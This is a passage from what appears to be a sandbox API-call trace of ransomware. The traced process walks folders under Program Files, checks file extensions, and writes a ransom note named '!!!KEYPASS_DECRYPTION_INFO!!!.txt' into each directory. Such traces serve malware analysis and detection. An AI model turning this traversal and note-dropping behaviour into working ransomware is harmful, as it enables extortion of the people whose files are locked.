lpFindFileData=0x2e4ead4) returned 0 [0240.736] FindNextFileW (in: hFindFile=0xd06000, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.736] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned=".dll" [0240.736] FindNextFileW (in: hFindFile=0xd06000, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.736] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned=".tlb" [0240.736] FindNextFileW (in: hFindFile=0xd06000, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.736] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned=".tlb" [0240.736] FindNextFileW (in: hFindFile=0xd06000, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0240.736] FindNextFileW (in: hFindFile=0xcb99b8, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0 [0240.736] FindNextFileW (in: hFindFile=0xcb9a38, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0240.736] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0240.736] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0240.736] GetLastError () returned 0x3f0 [0240.736] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\Services\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0240.736] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0240.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\services\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eed8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x530 [0240.737] GetFileType (hFile=0x530) returned 0x1 [0240.737] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ef08, cchData=2 | out: lpLCData="0") returned 2 [0240.738] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eef4, cchData=2 | out: lpLCData="0") returned 2 [0240.738] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eee4, cchData=2 | out: lpLCData="0") returned 2 [0240.738] WriteFile (in: hFile=0x530, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x3a4, lpOverlapped=0x0) returned 1 [0240.738] WriteFile (in: hFile=0x530, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x2a, lpOverlapped=0x0) returned 1 [0240.738] CloseHandle (hObject=0x530) returned 1 [0240.738] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0xd05fc0 [0240.739] FindNextFileW (in: hFindFile=0xd05fc0, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0240.739] FindNextFileW (in: hFindFile=0xd05fc0, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0240.739] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0240.739] FindNextFileW (in: hFindFile=0xd05fc0, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0240.739] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned=".bmp" [0240.739] FindNextFileW (in: hFindFile=0xd05fc0, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0 [0240.739] FindNextFileW (in: hFindFile=0xcb9a38, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0240.739] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0240.739] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0240.739] GetLastError () returned 0x3f0 [0240.739] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\System\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0240.739] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0240.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\system\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eed8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x534 [0240.739] GetFileType (hFile=0x534) returned 0x1 [0240.739] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ef08, cchData=2 | out: lpLCData="0") returned 2 [0240.739] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eef4, cchData=2 | out: lpLCData="0") returned 2 [0240.740] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eee4, cchData=2 | out: lpLCData="0") returned 2 [0240.740] WriteFile (in: hFile=0x534, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x3a4, lpOverlapped=0x0) returned 1 [0240.740] WriteFile (in: hFile=0x534, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x2a, lpOverlapped=0x0) returned 1 [0240.740] CloseHandle (hObject=0x534) returned 1 [0240.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0xd05a80 [0240.741] FindNextFileW (in: hFindFile=0xd05a80, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0240.741] FindNextFileW (in: hFindFile=0xd05a80, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0240.741] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0240.741] FindNextFileW (in: hFindFile=0xd05a80, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0240.741] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0240.741] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0240.741] GetLastError () returned 0x3f0 [0240.743] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0240.743] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0240.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\system\\ado\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0240.746] GetFileType (hFile=0x53c) returned 0x1 [0240.746] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0240.747] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0240.747] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0240.747] WriteFile (in: hFile=0x53c, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0240.749] WriteFile (in: hFile=0x53c, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0240.749] CloseHandle (hObject=0x53c) returned 1 [0240.749] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0xd05ac0 [0240.749] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.749] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.749] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0240.749] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.749] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned=".inc" [0240.749] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.749] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned=".inc" [0240.749] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.749] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0240.749] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0240.750] GetLastError () returned 0x3f0 [0240.750] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0240.750] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0240.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x540 [0240.750] GetFileType (hFile=0x540) returned 0x1 [0240.750] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0240.750] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0240.750] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0240.751] WriteFile (in: hFile=0x540, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0240.751] WriteFile (in: hFile=0x540, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0240.751] CloseHandle (hObject=0x540) returned 1 [0240.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e78ed8 [0240.751] FindNextFileW (in: hFindFile=0x2e78ed8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0240.752] FindNextFileW (in: hFindFile=0x2e78ed8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0240.752] FindNextFileW (in: hFindFile=0x2e78ed8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned=".mui" [0240.752] FindNextFileW (in: hFindFile=0x2e78ed8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned=".dll" [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned=".dll" [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned=".tlb" [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned=".tlb" [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned=".tlb" [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned=".tlb" [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned=".tlb" [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned=".tlb" [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned=".tlb" [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned=".dll" [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned=".tlb" [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned=".dll" [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb") returned=".tlb" [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned=".dll" [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.752] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned=".tlb" [0240.752] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.753] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned=".dll" [0240.753] FindNextFileW (in: hFindFile=0xd05ac0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0240.753] FindNextFileW (in: hFindFile=0xd05a80, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0240.753] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned=".dll" [0240.753] FindNextFileW (in: hFindFile=0xd05a80, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0240.753] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0240.753] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0240.753] GetLastError () returned 0x3f0 [0240.753] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\System\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\System\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0240.753] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\System\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0240.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\system\\en-us\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x544 [0240.755] GetFileType (hFile=0x544) returned 0x1 [0240.755] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0240.755] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0240.755] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0240.755] WriteFile (in: hFile=0x544, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0240.756] WriteFile (in: hFile=0x544, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0240.756] CloseHandle (hObject=0x544) returned 1 [0240.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e78e98 [0240.756] FindNextFileW (in: hFindFile=0x2e78e98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.756] FindNextFileW (in: hFindFile=0x2e78e98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.756] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0240.756] FindNextFileW (in: hFindFile=0x2e78e98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.756] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned=".mui" [0240.756] FindNextFileW (in: hFindFile=0x2e78e98, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0240.756] FindNextFileW (in: hFindFile=0xd05a80, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0240.756] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0240.756] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0240.756] GetLastError () returned 0x3f0 [0240.756] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0240.757] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0240.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x548 [0240.760] GetFileType (hFile=0x548) returned 0x1 [0240.760] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0240.760] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0240.760] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0240.761] WriteFile (in: hFile=0x548, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0240.762] WriteFile (in: hFile=0x548, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0240.762] CloseHandle (hObject=0x548) returned 1 [0240.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e78f18 [0240.762] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.762] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.762] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0240.762] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.762] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned=".inc" [0240.762] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.762] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned=".inc" [0240.762] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0240.762] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0240.762] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0240.762] GetLastError () returned 0x3f0 [0240.762] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0240.762] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0240.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x538 [0241.883] GetFileType (hFile=0x538) returned 0x1 [0241.883] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0241.883] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0241.883] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0241.883] WriteFile (in: hFile=0x538, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | 